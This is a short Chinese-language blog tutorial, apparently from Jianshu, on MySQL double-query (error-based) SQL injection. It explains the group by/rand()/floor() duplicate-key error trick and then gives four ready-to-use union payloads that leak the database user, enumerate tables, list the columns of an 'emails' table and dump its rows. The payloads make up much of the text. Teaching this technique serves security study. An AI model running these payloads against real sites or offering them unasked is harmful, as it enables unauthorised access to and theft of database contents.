SQL注入-双注入

基础SQL知识

双查询报错注入需用到四个函数和一个group by语句:

group by ... --->分组语句 //将查询的结果分类汇总

rand() --->随机数生成函数

floor() --->取整函数 //用来对生成的随机数取整

concat() --->连接字符串

count() --->统计函数 //结合group by语句统计分组后的数据

双注报错原理在group by执行原理,group by 在执行的时候会生成一张虚拟表,而group by后面的key就是这张表的主键

因为使用rand()*2作为排序条件,那么在查询是生成的key为0,检测虚拟表无重复,再插入的时候有生成1,插入表中时主键冲突就会报出错误。并且表现为不一定是每次都报错


1' union SELECT 1,2, count(1) from information_schema.schemata group by concat(floor(rand()*2),user())--+


图-1

利用子查询报出表名
1' union SELECT 1,2, count(1) from information_schema.schemata group by concat(floor(rand()*2),(select table_name from information_schema.tables where table_schema=database() limit 0,1))--+


图-2


爆出列名
1' union SELECT 1,2, count(1) from information_schema.schemata group by concat(floor(rand()*2),(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1))--+


图-3

下载数据

1' union SELECT 1,2, count(1) from information_schema.schemata group by concat(floor(rand()*2),(select concat_ws("-",id,email_id) from emails limit 0,1))--+


图-4
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

友情链接更多精彩内容